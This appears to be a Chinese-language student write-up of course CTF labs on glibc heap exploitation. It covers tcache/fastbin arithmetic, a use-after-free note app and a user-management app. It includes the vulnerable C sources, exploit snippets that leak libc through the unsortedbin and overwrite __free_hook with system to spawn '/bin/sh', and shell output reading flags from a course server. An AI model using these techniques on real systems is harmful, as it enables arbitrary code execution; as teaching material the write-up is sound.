---
tags: CS 2022 Fall, 程式安全
author: Ching367436
---
# [0x08] pwn II
<style>
img {
box-shadow: 0px 0px 15px #000;
}
</style>
lecture1: https://youtu.be/Xppj8lA04qQ
lecture2: https://youtu.be/00IkLtMWGWA
lecture3: https://youtu.be/MwjSNFQIx0c
slide: https://drive.google.com/file/d/1eUkAwFXv15w3PZKhakeXK-wbjNQoPLfR/view?usp=share_link
### [LAB] heapmath
做這題的時候直接在自己的虛擬機跑
然後遇到一些問題
就是 `tcache_entry.next` 的部分
發現他不是指向下一個 `tcache_entry`
而是一個奇怪的位置
自己追了一下 `glibc` 發現原來 `tcache_entry.next` 上了保護機制
所以 `tcache_entry.next` 要經處理 (`REVEAL_PTR`) 後才會是真正的 `tcache_entry.next`
REVEAL_PTR
https://codebrowser.dev/glibc/glibc/malloc/malloc.c.html#335
tcache_get
https://codebrowser.dev/glibc/glibc/malloc/malloc.c.html#3191
__libc_malloc
https://codebrowser.dev/glibc/glibc/malloc/malloc.c.html#3308
#### tcache chall
```c
----------- ** tcache chall ** -----------
char *A = (char *) malloc(0x28);
char *B = (char *) malloc(0x16);
char *C = (char *) malloc(0x19);
char *D = (char *) malloc(0x13);
char *E = (char *) malloc(0x25);
char *F = (char *) malloc(0x24);
char *G = (char *) malloc(0x24);
free(D);
free(C);
free(A);
free(G);
free(B);
free(E);
free(F);
[chunk size] 0x20: B --> D --> NULL (just send "B --> D --> NULL")
[chunk size] 0x30: ?
> F --> E --> G --> A --> C --> NULL
Correct !
[chunk size] 0x40: ?
> NULL
Correct !
```
這部分題目要我們判斷 `free()` 的時候 `tcache` 會怎麼紀錄那些位置
需要計算會進到哪個大小的 `tcache subbin` 以及進入後的連結方式
對於一個的 `x = malloc(a); free(x);`
他的 `chunk size` 計算如下
$$size = max(0x20, f(a+0x10-0x08))$$
其中 $f(x)$ 表示向上對齊 $0x10$
其中 `chunk size` 最小會是 $0x20$
之所以會有 $+0x10$ 是因為每個 `chunk` 最上面會存放他的 `metadata`
之所以會有 $-0x08$ 是因為下一個 `chunk` 的前面 `0x08` 個 `bits` 也會拿來放資料
接著是 `chunk` 被放於 `tcache` 的時候的連結方式
每次有新東西進入 `subbin` 的時候會串到 `linked-list` 的最前面
所以串的順序會跟 `free` 的順序相反
有這倆個資訊就可以解出這部分的題目
#### address chall
```c
----------- ** address chall ** -----------
assert( B == 0x55d6c20642e0 );
C == ? (send as hex format, e.g. "0x55d6c20642e0")
```
這題是承接上一題的部分
計算位置
我們只需要將 `B` 的位置 加上他跟 `C` 之間所間隔的距離即可
至於間隔多遠 那個距離就是他們中間東西的大小和
他們中間的每個東西的大小
就是上一題目所算的 `chunk size`
#### index chall
```c
----------- ** index chall ** -----------
unsigned long *X = (unsigned long *) malloc(0x60);
unsigned long *Y = (unsigned long *) malloc(0x60);
Y[10] = 0xdeadbeef;
X[?] == 0xdeadbeef (just send an integer, e.g. "8")
```
這題是算相對位置
我們需要先算出 `X` 的 `chunk size`
因為題目有幫忙把 $size_x$ 對齊到 $0x10$
所以 $chunksize_x=size_x+0x10$
那答案就會是
$$
ans = chunksize_x/8+idx2
$$
那個 $0x10$ 的部分我們需要額外加上去的原因是因為 `Y` 的一開始還會有 $0x10$ `chunk metadata`
至於 $/8$ 的部分是因為 `unsigned long` 每個的大小是 $0x08$
#### tcache fd chall
```c
----------- ** tcache fd chall ** -----------
free(X);
free(Y);
assert( Y == 0x560087664450 );
fd of Y == ? (send as hex format, e.g. "0x560087664450")
```
這邊就是我在我的 `VM` 上遇到的問題
如同最上方我所說明的部分
`fd` 會被放上保護機制
所以連題目的機器來解
這題的 `Y` `fd` 會指向 `X chunk` 的 `data`
所以 $addr_x$ 就會是答案
$$
ans = addr_x=addr_y-chunksize_x
$$
#### fastbin fd chall
```c
----------- ** fastbin fd chall (final) ** -----------
[*] Restore the chunk to X and Y
Y = (unsigned long *) malloc(0x40);
X = (unsigned long *) malloc(0x40);
[*] Do something to fill up 0x50 tcache
...
[*] finish
free(X);
free(Y);
assert( Y == 0x564022ee7440 );
fd of Y == ? (send as hex format, e.g. "0x564022ee7440")
```
這邊也是找 `fd`
只是要找的是 `fastbin` 的 `fd`
他跟 `tcache` 的 `fd` 的差別是
`fastbin` 的 `fd` 會指向 `chunk` 的頂端而非 `data`
所以
$$
ans = addr_x-0x10
$$
#### solve
把上述步驟寫成 script 來解就可以拿到 `flag` 了
##### `heapmath/exp.py`
```python
'''output
Correct !
Here is your flag: FLAG{owo_212ad0bdc4777028af057616450f6654}
'''
```
### [LAB] babynote
#### 題目
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
struct Note
{
char name[0x10];
void *data;
};
struct Note *notes[0x10];
static short int get_idx()
{
short int idx;
printf("index\n> ");
scanf("%hu", &idx);
if (idx >= 0x10)
printf("no, no ...\n"), exit(1);
return idx;
}
static short int get_size()
{
short int size;
printf("size\n> ");
scanf("%hu", &size);
return size;
}
void add_note()
{
short int idx;
idx = get_idx();
notes[idx] = malloc(sizeof(*notes[idx]));
printf("note name\n> ");
read(0, notes[idx]->name, 0x10);
notes[idx]->data = NULL;
printf("success!\n");
}
void edit_data()
{
short int idx;
short int size;
idx = get_idx();
size = get_size();
if (notes[idx]->data == NULL)
notes[idx]->data = malloc(size);
read(0, notes[idx]->data, size);
printf("success!\n");
}
void del_note()
{
short int idx;
idx = get_idx();
free(notes[idx]->data);
free(notes[idx]);
printf("success!\n");
}
void show_notes()
{
for (int i = 0; i < 0x10; i++) {
if (notes[i] == NULL || notes[i]->data == NULL)
continue;
printf("[%d] %s\ndata: %s\n", i, notes[i]->name, (char *)notes[i]->data);
}
}
int main()
{
char opt[2];
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
while (1)
{
printf("1. add_note\n"
"2. edit_data\n"
"3. del_note\n"
"4. show_notes\n"
"5. bye\n"
"> ");
read(0, opt, 2);
switch (opt[0]) {
case '1': add_note(); break;
case '2': edit_data(); break;
case '3': del_note(); break;
case '4': show_notes(); break;
case '5': exit(0);
}
}
return 0;
}
```
#### 取得 `__free_hook` `system` 位置
```python=
add_note(0, name='A'*0x10)
edit_note(0, 0x418, 'A'*0x418)
add_note(1, name='B'*0x10)
edit_note(1, 0x18, 'B'*0x18)
add_note(2, name='C'*0x10)
edit_note(2, 0x18, 'C'*0x18)
del_note(idx=0)
main_arena_addr = get_first_data()
```
透過上面的操作可以使 `Notes[0] -> data` 進到 `unsortedbin`
(因為大小比 `tcache` `fastbin` `smallbin` 可以吃的都還大,而下一個順位是 `unsortedbin`)
這樣會使得
`Notes[0] -> data` 的地方被放上指向 `main_arena+96` 的 `FD`
由下圖可以確認

關於 `main_arena+96` 要怎麼取得
其實只要使用 `show_notes` 就會直接印出來了
因為 `__free_hook` `system` `main_arena+96` 的相對位置都是固定的
所以只要於 `gdb` 中任取一次這三個的位置
(這邊取名為 `freehook_relative_addr` `system_relative_addr` `main_arena_relative_addr`)
然後取得真實的 `main_arena+96` 的位置
其他的兩個位置就出來了
```c
main_arena_addr = get_first_data()
main_arena_addr = u64(main_arena_addr)
freehook_addr = main_arena_addr + (freehook_relative_addr - main_arena_relative_addr)
system_addr = main_arena_addr + (system_relative_addr - main_arena_relative_addr)
```
實際用 `gdb` 測也能看出算出來的結果是正確的

#### 利用 `__free_hook` 來取得 `system("/bin/sh\x00")`
```c=
B_data = flat(
b'/bin/sh\x00', b'B'*8,
b'C'*8, b'C'*8,
b'C'*8, b'C'*8,
p64(freehook_addr)
)
edit_note(1, len(B_data), B_data)
edit_note(2, 8, p64(system_addr))
del_note(1)
```
上面的 `script` 到 `:7` 的時候
會把 `heap` 上的東西蓋成下圖的 $2$
`:8` 則是下圖的 $3$
原本 `__free_hook` 的地方變成了指向 `system`
這樣之後只要執行到 `free` 都會執行 `system`
至於 `system` 的 `argument` 則是與 pass 給 `free` 的相同
所以此時跑道 `:10` 的時候 會呼叫到 `free(B->data)`
而 `B->data` 此時已經是 `/bin/sh\x00` 了
所以等同於呼叫 `system("/bin/sh\x00")`

##### `babynote/exp.py`
```python
'''output
main_arena_addr: 0x7f0985a19be0
freehook_addr: 0x7f0985a1be48
system_addr: 0x7f098587f290
$ cat /home/chal/flag
FLAG{babynote^_^_de9187eb6f3cbc1dce465601015f2ca0}
'''
```
### [HW] babyums (flag2)
這題其實跟上一題解法一樣
#### 題目
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define FLAG1 "flag{XXXXXXXX}"
struct User
{
char name[0x10];
char password[0x10];
void *data;
};
struct User *users[8];
static short int get_idx()
{
short int idx;
printf("index\n> ");
scanf("%hu", &idx);
if (idx >= 8)
printf("no, no ..."), exit(1);
return idx;
}
static short int get_size()
{
short int size;
printf("size\n> ");
scanf("%hu", &size);
if (size >= 0x500)
printf("no, no ..."), exit(1);
return size;
}
void add_user()
{
short int idx;
idx = get_idx();
users[idx] = malloc(sizeof(*users[idx]));
printf("username\n> ");
read(0, users[idx]->name, 0x10);
printf("password\n> ");
read(0, users[idx]->password, 0x10);
users[idx]->data = NULL;
printf("success!\n");
}
void edit_data()
{
short int idx;
short int size;
idx = get_idx();
size = get_size();
if (users[idx]->data == NULL)
users[idx]->data = malloc(size);
read(0, users[idx]->data, size);
printf("success!\n");
}
void del_user()
{
short int idx;
idx = get_idx();
free(users[idx]->data);
free(users[idx]);
printf("success!\n");
}
void show_users()
{
for (int i = 0; i < 8; i++) {
if (users[i] == NULL || users[i]->data == NULL)
continue;
printf("[%d] %s\ndata: %s\n", i, users[i]->name, (char *)users[i]->data);
}
}
void add_admin()
{
users[0] = malloc(sizeof(*users[0]));
strcpy(users[0]->name, "admin");
strcpy(users[0]->password, FLAG1);
users[0]->data = NULL;
}
int main()
{
char opt[2];
int power = 20;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("**** User Management System ****\n");
add_admin();
while (power)
{
power--;
printf("1. add_user\n"
"2. edit_data\n"
"3. del_user\n"
"4. show_users\n"
"5. bye\n"
"> ");
read(0, opt, 2);
switch (opt[0]) {
case '1': add_user(); break;
case '2': edit_data(); break;
case '3': del_user(); break;
case '4': show_users(); break;
case '5': exit(0);
}
}
printf("No... no power..., b..ye...\n");
return 0;
}
```
#### 取得 `__free_hook` `system` 位置
```c
add_user(0, 'ausername', 'apassword')
edit_data(0, 0x418, 'a' * 0x418)
add_user(1, 'busername', 'bpassword')
edit_data(1, 0x18, 'c' * 0x18)
add_user(2, 'cusername', 'cpassword')
edit_data(2, 0x18, 'c' * 0x18)
del_user(0)
main_arena_addr = get_first_data()
main_arena_addr = u64(main_arena_addr)
freehook_addr = main_arena_addr + (freehook_relative_addr - main_arena_relative_addr)
system_addr = main_arena_addr + (system_relative_addr - main_arena_relative_addr)
```
透過上面的操作可以使 `users[0] -> data` 進到 `unsortedbin`
(因為大小比 `tcache` `fastbin` `smallbin` 可以吃的都還大,而下一個順位是 `unsortedbin`)
這樣會使得
`users[0] -> data` 的地方被放上指向 `main_arena+96` 的 `FD`
關於 `main_arena+96` 要怎麼取得
其實只要使用 `show_users` 就會直接印出來了
因為 `__free_hook` `system` `main_arena+96` 的相對位置都是固定的
所以只要於 `gdb` 中任取一次這三個的位置
(這邊取名為 `freehook_relative_addr` `system_relative_addr` `main_arena_relative_addr`)
然後取得真實的 `main_arena+96` 的位置
其他的兩個位置就出來了
#### 利用 `__free_hook` 來取得 `system("/bin/sh\x00")`
```c=
B_data = flat(
b'/bin/sh\x00', b'B' *0x8,
b'B'*0x8, b'B'*0x8,
b'B'*0x8, b'B'*0x8,
b'B'*0x8, b'B'*0x8,
p64(freehook_addr)
)
edit_data(1, len(B_data), B_data)
edit_data(2, 0x8, p64(system_addr))
del_user(1)
print("Here's your shell")
r.interactive()
```
上面的 `script` 到 `:9` 的時候
會把 `heap` 上的東西蓋成下圖的 $2$
`:10` 則是下圖的 $3$
原本 `__free_hook` 的地方變成了指向 `system`
這樣之後只要執行到 `free` 都會執行 `system`
至於 `system` 的 `argument` 則是與 pass 給 `free` 的相同
所以此時跑道 `:12` 的時候 會呼叫到 `free(B->data)`
而 `B->data` 此時已經是 `/bin/sh\x00` 了
所以等同於呼叫 `system("/bin/sh\x00")`

##### `babyums/exp.py`
```python
'''output
[+] Opening connection to edu-ctf.zoolab.org on port 10008: Done
main_arena_addr: 0x7f6390183be0
freehook_addr: 0x7f6390185e48
system_addr: 0x7f638ffe9290
[*] Switching to interactive mode
FLAG{crocodile_9d7d8f69be2c2ab84721384d5bda877f}
'''
```
### [HW] babyums (flag1)
由上面的部分
我們取得了 `shell`
接著我 `cat /home/chal/babyums.c`
```c
$ cat /home/chal/babyums.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define FLAG1 "FLAG{C8763}"
struct User
{
char name[0x10];
char password[0x10];
void *data;
};
```
直接拿 `FLAG{C8763}` 去送發現是錯的
所以這邊決定把 `/home/chal/chal` 先 dump 出來
```c
$ cat /home/chal/chal | base64
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAYBEAAAAAAABAAAAAAAAAAEA8AAAAAAAAAAAAAEAAOAAN
AEAAHwAeAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAA2AIAAAAAAADYAgAAAAAAAAgA
AAAAAAAAAwAAAAQAAAAYAwAAAAAAABgDAAAAAAAAGAMAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA
```
然後把他用 `gdb` 跑起來
讀一下 `heap` 就有 `flag` 了
